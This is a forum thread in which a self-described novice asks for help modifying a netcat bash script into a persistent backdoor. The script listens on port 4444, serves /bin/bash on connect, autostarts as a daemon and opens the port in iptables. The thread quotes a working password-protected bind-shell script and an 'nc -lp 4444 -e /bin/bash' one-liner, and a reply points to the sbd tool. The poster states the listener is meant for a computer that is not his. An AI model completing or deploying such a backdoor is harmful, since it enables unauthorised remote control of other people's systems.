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Thread: nc backdoor daemon

  1. #1
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    3

    Default nc backdoor daemon

    need help modifying this script, like nc -lp 4444 -e /bin/bash deamon

    1 want the login part gone

    2 want it to listen on 4444

    3 want it to send /bin/bash on connect

    4 and auto start as a daemon

    5 open port 4444 to everybody in ip tables

    pls help ?

    Remote shell demon
    With the following shellscript, you can start your personal remote shell demon:

    #!/bin/bash
    # pershd - personal shell demon
    # 2003-02-17 Johannes Franken - jfranken@jfranken.de

    # on first invocation, export $PW and $port to subshells
    export PW port
    if [ $1 ] ; then
    port=$1
    echo -n pass:
    read PW
    fi

    # do we know the port to listen on?
    if [ ! $port ]; then
    echo USAGE: $0 port ;
    exit;
    fi

    # wait for further connections (veiling params)
    echo "-l -p $port -e $0" | nc 2>/dev/null &
    [ $1 ] && exit; # first invocation exit here

    # ask for password
    unset p
    until [ "$p" = "$PW" ]; do
    echo -n pass:
    read p
    done

    # received good password. present a shell
    bash --noediting -i


    When I start this script, it asks me to tell it a password and then waits for connections in the background:

    jfranken@tp:~$ ./pershd 1234
    pass:secret
    jfranken@tp:~$

  2. #2

    Default

    just use sbd, it has most of that stuff built in and is configurable

    http://packetstormsecurity.org/UNIX/...indexdate.html

  3. #3
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    3

    Default

    ok i gona look in to sbd , any way i want 2 complet this script to, its gona be a smal nc server running on a computer thats nott mine. . the login part dont have to be removed by the way. iam a n00b so i havent be able to sharpen my bash skils ...working on it tho.

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